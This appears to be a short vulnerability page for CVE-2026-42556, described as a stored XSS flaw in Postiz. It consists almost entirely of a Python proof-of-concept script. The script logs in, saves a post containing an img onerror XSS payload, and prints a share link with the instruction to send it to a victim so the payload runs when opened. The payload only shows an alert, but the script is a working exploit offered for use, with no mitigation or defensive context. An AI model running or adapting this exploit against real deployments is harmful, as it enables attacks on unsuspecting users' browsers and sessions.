CVE-2026-42556 Postiz 存储型XSS漏洞

import requests # Target configuration target_host = "https://example.com" login_endpoint = f"{target_host}/api/auth/login" post_endpoint = f"{target_host}/api/posts" # Attacker credentials username = "[email protected]" password = "password123" # Malicious payload to be stored and executed # Using an img tag for execution often bypasses simple filters, but description says arbitrary HTML is allowed. xss_payload = '<img src=x onerror=alert(\"CVE-2026-42556-XSS\")>' # 1. Login to get session session = requests.Session() login_data = {"email": username, "password": password} login_resp = session.post(login_endpoint, json=login_data) if login_resp.status_code == 200: print("[+] Logged in successfully") # 2. Create a post with tampered content # Intercepting the save request to inject arbitrary HTML post_data = { "content": xss_payload, "providerIds": [], "date": "2026-05-08T12:00:00.000Z" } create_resp = session.post(post_endpoint, json=post_data) if create_resp.status_code == 200: post_id = create_resp.json().get('id') print(f"[+] Post created with ID: {post_id}") # 3. Generate the vulnerable preview link preview_link = f"{target_host}/p/{post_id}?share=true" print(f"[+] Send this link to the victim: {preview_link}") print("[+] When the victim opens the link, the XSS payload will execute.") else: print("[-] Failed to create post") else: print("[-] Login failed")